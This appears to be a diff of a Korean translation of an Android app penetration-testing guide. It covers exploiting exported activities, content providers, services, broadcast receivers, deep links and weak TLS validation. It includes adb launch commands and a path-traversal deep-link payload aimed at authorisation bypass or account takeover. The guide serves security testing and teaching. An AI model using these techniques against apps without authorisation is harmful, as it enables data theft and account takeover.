์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.\ +Drozer๋Š” export๋œ activities, export๋œ services ๋ฐ Content Providers๋ฅผ **exploit**ํ•˜๋Š” ๋ฐ ์œ ์šฉํ•œ ๋„๊ตฌ์ด๋ฉฐ, ๋‹ค์Œ ์„น์…˜์—์„œ ์ด๋ฅผ ๋ฐฐ์šฐ๊ฒŒ ๋  ๊ฒƒ์ด๋‹ค. -### Exported Activities ์ต์Šคํ”Œ๋กœ์ž‡ +### Exploiting exported Activities -[**Android Activity๊ฐ€ ๋ฌด์—‡์ธ์ง€ ๋ณต์Šตํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด ์ด๊ฒƒ์„ ์ฝ์œผ์„ธ์š”.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -๋˜ํ•œ ์•กํ‹ฐ๋น„ํ‹ฐ์˜ ์ฝ”๋“œ๋Š” **`onCreate`** ๋ฉ”์„œ๋“œ์—์„œ ์‹œ์ž‘๋œ๋‹ค๋Š” ๊ฒƒ์„ ๊ธฐ์–ตํ•˜์„ธ์š”. +[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ +๋˜ํ•œ activity์˜ ์ฝ”๋“œ๋Š” **`onCreate`** ๋ฉ”์„œ๋“œ์—์„œ ์‹œ์ž‘๋œ๋‹ค๋Š” ๊ฒƒ์„ ๊ธฐ์–ตํ•˜๋ผ. -**๊ถŒํ•œ/์ธ์ฆ ์šฐํšŒ(Authorisation bypass)** +**Authorisation bypass** -Activity๊ฐ€ exported๋˜์–ด ์žˆ์œผ๋ฉด ์™ธ๋ถ€ ์•ฑ์—์„œ ๊ทธ ํ™”๋ฉด์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ **๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ํฌํ•จํ•œ ์•กํ‹ฐ๋น„ํ‹ฐ๊ฐ€ exported๋˜์–ด ์žˆ๋‹ค๋ฉด**, ์ธ์ฆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ **bypass**ํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +Activity๊ฐ€ export๋˜์–ด ์žˆ์œผ๋ฉด ์™ธ๋ถ€ ์•ฑ์—์„œ ํ•ด๋‹น ํ™”๋ฉด์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ **๋ฏผ๊ฐํ•œ ์ •๋ณด**๋ฅผ ๊ฐ€์ง„ ์•กํ‹ฐ๋น„ํ‹ฐ๊ฐ€ **exported** ๋˜์–ด ์žˆ๋‹ค๋ฉด ์ธ์ฆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ **bypass**ํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค. -[**Drozer๋กœ exported activities๋ฅผ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ์„ธ์š”.**](drozer-tutorial/index.html#activities) +[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -๋‹ค์Œ๊ณผ ๊ฐ™์ด adb์—์„œ exported activity๋ฅผ ์‹œ์ž‘ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: +๋‹ค์Œ๊ณผ ๊ฐ™์ด adb์—์„œ export๋œ activity๋ฅผ ์‹œ์ž‘ํ•  ์ˆ˜๋„ ์žˆ๋‹ค: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity @@ -350,105 +350,105 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity **์ฐธ๊ณ **: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). > [!TIP] -> Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed. +> ๊ถŒํ•œ ์šฐํšŒ(authorisation bypass)๊ฐ€ ํ•ญ์ƒ ์ทจ์•ฝ์ ์€ ์•„๋‹ˆ๋ฉฐ, ์šฐํšŒ ๋ฐฉ์‹๊ณผ ์–ด๋–ค ์ •๋ณด๊ฐ€ ๋…ธ์ถœ๋˜๋Š”์ง€์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค. -**Sensitive information leakage** +**๋ฏผ๊ฐํ•œ ์ •๋ณด ๋ˆ„์ถœ** -**์•กํ‹ฐ๋น„ํ‹ฐ๋Š” ๊ฒฐ๊ณผ๋ฅผ ๋ฐ˜ํ™˜ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค**. export๋˜์–ด ์žˆ๊ณ  ๋ณดํ˜ธ๋˜์ง€ ์•Š์€ ์•กํ‹ฐ๋น„ํ‹ฐ๊ฐ€ **`setResult`** ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•˜๋ฉฐ **๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋ฐ˜ํ™˜**ํ•œ๋‹ค๋ฉด, sensitive information leakage๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. +Activities can also return results. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage. #### Tapjacking -Tapjacking์ด ๋ฐฉ์ง€๋˜์ง€ ์•Š๋Š”๋‹ค๋ฉด, export๋œ ์•กํ‹ฐ๋น„ํ‹ฐ๋ฅผ ์•…์šฉํ•˜์—ฌ **์‚ฌ์šฉ์ž๊ฐ€ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๋„๋ก** ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ [**what is Tapjacking follow the link**](#tapjacking)๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”. +If tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information [**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ **๋ฐ์ดํ„ฐ ๊ณต์œ **์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์•ฑ์— ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ content providers๊ฐ€ ์žˆ๋‹ค๋ฉด ๊ทธ๋“ค๋กœ๋ถ€ํ„ฐ **๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœ**ํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค. ๋˜ํ•œ **SQL injections** ๋ฐ **Path Traversals** ๊ฐ€๋Šฅ์„ฑ์„ ํ…Œ์ŠคํŠธํ•ด๋ณด๋Š” ๊ฒƒ๋„ ํฅ๋ฏธ๋กœ์šด๋ฐ, ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. +Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable. [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** [**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ -Service์˜ ๋™์ž‘์€ `onStartCommand` ๋ฉ”์„œ๋“œ์—์„œ ์‹œ์ž‘ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ๊ธฐ์–ตํ•˜์„ธ์š”. +Remember that a the actions of a Service start in the method `onStartCommand`. -Service๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ **์ˆ˜์‹ **ํ•˜๊ณ  ์ด๋ฅผ **์ฒ˜๋ฆฌ**ํ•˜๋ฉฐ (์‘๋‹ต์„) **๋ฐ˜ํ™˜**(๋˜๋Š” ๋ฐ˜ํ™˜ํ•˜์ง€ ์•Š์Œ)ํ•  ์ˆ˜ ์žˆ๋Š” ๊ตฌ์„ฑ์š”์†Œ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ผ๋ถ€ ์„œ๋น„์Šค๋ฅผ exportํ•˜๊ณ  ์žˆ๋‹ค๋ฉด ํ•ด๋‹น ์„œ๋น„์Šค๊ฐ€ ๋ฌด์—‡์„ ํ•˜๋Š”์ง€ ์ดํ•ดํ•˜๊ธฐ ์œ„ํ•ด **์ฝ”๋“œ**๋ฅผ **ํ™•์ธ**ํ•˜๊ณ  ๊ธฐ๋ฐ€ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๊ฑฐ๋‚˜ ์ธ์ฆ ์šฐํšŒ ๋“ฑ์„ ์œ„ํ•ด **๋™์ **์œผ๋กœ **ํ…Œ์ŠคํŠธ**ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.\ +์„œ๋น„์Šค๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ **๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์‹ **ํ•˜๊ณ , **์ฒ˜๋ฆฌ**ํ•˜๋ฉฐ (์‘๋‹ต์„) **๋ฐ˜ํ™˜**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ผ๋ถ€ ์„œ๋น„์Šค๋ฅผ exportํ•˜๊ณ  ์žˆ๋‹ค๋ฉด ๋ฌด์—‡์„ ํ•˜๋Š”์ง€ ์ดํ•ดํ•˜๊ธฐ ์œ„ํ•ด **์ฝ”๋“œ**๋ฅผ **ํ™•์ธ**ํ•˜๊ณ  ๊ธฐ๋ฐ€ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๊ฑฐ๋‚˜ ์ธ์ฆ ์šฐํšŒ๋ฅผ ์‹œ๋„ํ•˜๊ธฐ ์œ„ํ•ด **๋™์ ์œผ๋กœ** **ํ…Œ์ŠคํŠธ**ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** [**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Broadcast Receiver์˜ ๋™์ž‘์€ `onReceive` ๋ฉ”์„œ๋“œ์—์„œ ์‹œ์ž‘ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ๊ธฐ์–ตํ•˜์„ธ์š”. +Remember that a the actions of a Broadcast Receiver start in the method `onReceive`. -๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ ๋ฆฌ์‹œ๋ฒ„๋Š” ํŠน์ • ์œ ํ˜•์˜ ๋ฉ”์‹œ์ง€๋ฅผ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค. ๋ฆฌ์‹œ๋ฒ„๊ฐ€ ๋ฉ”์‹œ์ง€๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ์‹์— ๋”ฐ๋ผ ์ทจ์•ฝํ•ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ ๋ฆฌ์‹œ๋ฒ„๋Š” ํŠน์ • ํƒ€์ž…์˜ ๋ฉ”์‹œ์ง€๋ฅผ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค. ๋ฆฌ์‹œ๋ฒ„๊ฐ€ ๋ฉ”์‹œ์ง€๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ์‹์— ๋”ฐ๋ผ ์ทจ์•ฝํ•ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -๋”ฅ๋งํฌ๋ฅผ ์ˆ˜๋™์œผ๋กœ ์ฐพ์„ ์ˆ˜๋„ ์žˆ๊ณ , MobSF ๊ฐ™์€ ๋„๊ตฌ๋‚˜ [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) ๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.\ -์„ ์–ธ๋œ scheme์€ adb ๋˜๋Š” ๋ธŒ๋ผ์šฐ์ €๋กœ ์—ด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +You can **open** a declared **scheme** using **adb** or a **browser**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_์ฐธ๊ณ ๋กœ **ํŒจํ‚ค์ง€ ์ด๋ฆ„์„ ์ƒ๋žตํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ** ๋ชจ๋ฐ”์ผ์ด ํ•ด๋‹น ๋งํฌ๋ฅผ ์—ด ์•ฑ์„ ์ž๋™์œผ๋กœ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค._ +_์ฐธ๊ณ ๋กœ ํŒจํ‚ค์ง€ ์ด๋ฆ„์„ **์ƒ๋žตํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ**, ๋ชจ๋ฐ”์ผ์ด ํ•ด๋‹น ๋งํฌ๋ฅผ ์—ด ์•ฑ์„ ์ž๋™์œผ๋กœ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค._ ```html Click me with alternative ``` -**์•ฑ์—์„œ ์‹คํ–‰๋  ์ฝ”๋“œ** +**์‹คํ–‰๋˜๋Š” ์ฝ”๋“œ** -์•ฑ์—์„œ **์‹คํ–‰๋  ์ฝ”๋“œ**๋ฅผ ์ฐพ์œผ๋ ค๋ฉด deeplink์— ์˜ํ•ด ํ˜ธ์ถœ๋˜๋Š” activity๋กœ ์ด๋™ํ•˜์—ฌ ํ•จ์ˆ˜ **`onNewIntent`**๋ฅผ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”. +์•ฑ์—์„œ **์‹คํ–‰๋  ์ฝ”๋“œ**๋ฅผ ์ฐพ์œผ๋ ค๋ฉด deeplink๊ฐ€ ํ˜ธ์ถœํ•˜๋Š” activity๋กœ ๊ฐ€์„œ ํ•จ์ˆ˜ **`onNewIntent`**๋ฅผ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”. ![](<../../images/image (436) (1) (1) (1).png>) **๋ฏผ๊ฐํ•œ ์ •๋ณด** -deep link๋ฅผ ์ฐพ์„ ๋•Œ๋งˆ๋‹ค ํ•ด๋‹น deep link๊ฐ€ **URL ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํ†ตํ•ด ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ(์˜ˆ: ๋น„๋ฐ€๋ฒˆํ˜ธ)๋ฅผ ๋ฐ›์ง€ ์•Š๋Š”์ง€** ํ™•์ธํ•˜์„ธ์š”. ๋‹ค๋ฅธ ์–ด๋–ค ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๋„ **deep link๋ฅผ ์‚ฌ์นญํ•˜์—ฌ ๊ทธ ๋ฐ์ดํ„ฐ๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค!** +deep link๋ฅผ ์ฐพ์„ ๋•Œ๋งˆ๋‹ค URL ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ ๊ฐ™์€ **๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ์ „๋‹ฌ๋˜์ง€ ์•Š๋Š”์ง€ ๋ฐ˜๋“œ์‹œ ํ™•์ธํ•˜์„ธ์š”**, ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํ•ด๋‹น deep link๋ฅผ **๊ฐ€๋กœ์ฑ„์–ด ๊ทธ ๋ฐ์ดํ„ฐ๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค!** -**๊ฒฝ๋กœ ํŒŒ๋ผ๋ฏธํ„ฐ** +**๊ฒฝ๋กœ์˜ ํŒŒ๋ผ๋ฏธํ„ฐ** -You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). +URL ๊ฒฝ๋กœ ๋‚ด๋ถ€์— ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” deep link๊ฐ€ ์žˆ๋Š”์ง€ **๋ฐ˜๋“œ์‹œ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค**. ์˜ˆ: `https://api.example.com/v1/users/{username}`. ์ด๋Ÿฐ ๊ฒฝ์šฐ ๋‹ค์Œ๊ณผ ๊ฐ™์ด path traversal์„ ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ ์˜ฌ๋ฐ”๋ฅธ ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ฐพ์œผ๋ฉด ๊ฒฝ๋กœ์˜ ์ผ๋ถ€๊ฐ€ ๋„๋ฉ”์ธ ์ด๋ฆ„์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ๊ฒฝ์šฐ **Open Redirect**๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๊ณ , CSRF ํ† ํฐ ์—†์ด ์‚ฌ์šฉ์ž ์ •๋ณด๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๊ณ  ์ทจ์•ฝํ•œ ์—”๋“œํฌ์ธํŠธ๊ฐ€ ์˜ฌ๋ฐ”๋ฅธ ๋ฉ”์†Œ๋“œ๋ฅผ ์‚ฌ์šฉํ–ˆ๋‹ค๋ฉด **account takeover** ๋“ฑ์„ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ [์—ฌ๊ธฐ](http://dphoeniixx.com/2020/12/13-2/)๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”. -**์ถ”๊ฐ€ ์˜ˆ์‹œ** +**More examples** An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). ### ์ „์†ก ๊ณ„์ธต ๊ฒ€์‚ฌ ๋ฐ ๊ฒ€์ฆ ์‹คํŒจ -- **์ธ์ฆ์„œ๊ฐ€ ํ•ญ์ƒ ์ œ๋Œ€๋กœ ๊ฒ€์‚ฌ๋˜๋Š” ๊ฒƒ์€ ์•„๋‹ˆ๋‹ค** Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ๋Š” ๊ฒฝ๊ณ ๋ฅผ ๋ฌด์‹œํ•˜๊ณ  ์ž์ฒด ์„œ๋ช… ์ธ์ฆ์„œ๋ฅผ ์ˆ˜๋ฝํ•˜๊ฑฐ๋‚˜, ๊ฒฝ์šฐ์— ๋”ฐ๋ผ HTTP ์—ฐ๊ฒฐ๋กœ ๋˜๋Œ์•„๊ฐ€๋Š” ์ผ์ด ํ”ํ•ฉ๋‹ˆ๋‹ค. -- **SSL/TLS ํ•ธ๋“œ์…ฐ์ดํฌ ๋™์•ˆ์˜ ํ˜‘์ƒ์ด ๋•Œ๋•Œ๋กœ ์•ฝํ•˜๋‹ค**, ์ทจ์•ฝํ•œ ์•”ํ˜ธ ๋ชจ์Œ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ MITM(man-in-the-middle) ๊ณต๊ฒฉ์— ๋…ธ์ถœ๋˜์–ด ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. -- **Leakage of private information**๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋ณด์•ˆ ์ฑ„๋„๋กœ ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•œ ๋’ค ๋‹ค๋ฅธ ํŠธ๋žœ์žญ์…˜์—์„œ ๋น„๋ณด์•ˆ ์ฑ„๋„๋กœ ํ†ต์‹ ํ•  ๋•Œ ์œ„ํ—˜ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ ‘๊ทผ ๋ฐฉ์‹์€ ์„ธ์…˜ ์ฟ ํ‚ค๋‚˜ ์‚ฌ์šฉ์ž ์ •๋ณด์™€ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์•…์˜์ ์ธ ์ฃผ์ฒด๊ฐ€ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. +- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections. +- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data. +- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities. -#### ์ธ์ฆ์„œ ๊ฒ€์ฆ +#### Certificate Verification -์šฐ๋ฆฌ๋Š” **์ธ์ฆ์„œ ๊ฒ€์ฆ**์— ์ค‘์ ์„ ๋‘ก๋‹ˆ๋‹ค. ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•˜๋ ค๋ฉด ์„œ๋ฒ„ ์ธ์ฆ์„œ์˜ ๋ฌด๊ฒฐ์„ฑ์„ ๊ฒ€์ฆํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ถˆ์•ˆ์ „ํ•œ TLS ๊ตฌ์„ฑ๊ณผ ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ ์ฑ„๋„์„ ํ†ตํ•œ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ ์ „์†ก์ด ์‹ฌ๊ฐํ•œ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์„œ๋ฒ„ ์ธ์ฆ์„œ๋ฅผ ๊ฒ€์ฆํ•˜๊ณ  ์ทจ์•ฝ์ ์„ ํ•ด๊ฒฐํ•˜๋Š” ์ž์„ธํ•œ ๋‹จ๊ณ„๋Š” [**this resource**](https://manifestsecurity.com/android-application-security-part-10/)์—์„œ ํฌ๊ด„์ ์œผ๋กœ ์•ˆ๋‚ดํ•ฉ๋‹ˆ๋‹ค. +์šฐ๋ฆฌ๋Š” **certificate verification**์— ์ดˆ์ ์„ ๋งž์ถœ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์„œ๋ฒ„ ์ธ์ฆ์„œ์˜ ๋ฌด๊ฒฐ์„ฑ์„ ๊ฒ€์ฆํ•˜๋Š” ๊ฒƒ์€ ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•˜๋Š” ๋ฐ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ๋ถˆ์•ˆ์ „ํ•œ TLS ๊ตฌ์„ฑ๊ณผ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ ์ฑ„๋„๋กœ ์ „์†กํ•˜๋Š” ๊ฒƒ์€ ํฐ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์„œ๋ฒ„ ์ธ์ฆ์„œ ๊ฒ€์ฆ ๋ฐ ์ทจ์•ฝ์  ๋Œ€์‘์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‹จ๊ณ„๋Š” [**์ด ์ž๋ฃŒ**](https://manifestsecurity.com/android-application-security-part-10/)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. #### SSL Pinning -SSL Pinning์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์„œ๋ฒ„์˜ ์ธ์ฆ์„œ๋ฅผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด๋ถ€์— ์ €์žฅ๋œ ์•Œ๋ ค์ง„ ์‚ฌ๋ณธ๊ณผ ๋Œ€์กฐํ•˜์—ฌ ๊ฒ€์ฆํ•˜๋Š” ๋ณด์•ˆ ์ˆ˜๋‹จ์ž…๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ MITM ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋‹ค๋ฃจ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—๋Š” SSL Pinning ๊ตฌํ˜„์„ ๊ฐ•๋ ฅํžˆ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. +SSL Pinning์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์„œ๋ฒ„์˜ ์ธ์ฆ์„œ๋ฅผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด๋ถ€์— ์ €์žฅ๋œ ์•Œ๋ ค์ง„ ๋ณต์‚ฌ๋ณธ๊ณผ ๋น„๊ตํ•˜์—ฌ ๊ฒ€์ฆํ•˜๋Š” ๋ณด์•ˆ ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ MITM ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ทจ๊ธ‰ํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—๋Š” SSL Pinning ๊ตฌํ˜„์„ ๊ฐ•๋ ฅํžˆ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. -#### ํŠธ๋ž˜ํ”ฝ ๊ฒ€์‚ฌ +#### Traffic Inspection -HTTP ํŠธ๋ž˜ํ”ฝ์„ ๊ฒ€์‚ฌํ•˜๋ ค๋ฉด ํ”„๋ก์‹œ ๋„๊ตฌ์˜ ์ธ์ฆ์„œ(์˜ˆ: Burp)๋ฅผ **์„ค์น˜ํ•ด์•ผ** ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ธ์ฆ์„œ๋ฅผ ์„ค์น˜ํ•˜์ง€ ์•Š์œผ๋ฉด ์•”ํ˜ธํ™”๋œ ํŠธ๋ž˜ํ”ฝ์ด ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด ๋ณด์ด์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ปค์Šคํ…€ CA ์ธ์ฆ์„œ ์„ค์น˜ ๊ฐ€์ด๋“œ๋Š” [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”. +HTTP ํŠธ๋ž˜ํ”ฝ์„ ๊ฒ€์‚ฌํ•˜๋ ค๋ฉด ํ”„๋ก์‹œ ๋„๊ตฌ์˜ ์ธ์ฆ์„œ(์˜ˆ: Burp)๋ฅผ **์„ค์น˜ํ•ด์•ผ** ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ธ์ฆ์„œ๋ฅผ ์„ค์น˜ํ•˜์ง€ ์•Š์œผ๋ฉด ์•”ํ˜ธํ™”๋œ ํŠธ๋ž˜ํ”ฝ์ด ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด ๋ณด์ด์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ปค์Šคํ…€ CA ์ธ์ฆ์„œ ์„ค์น˜ 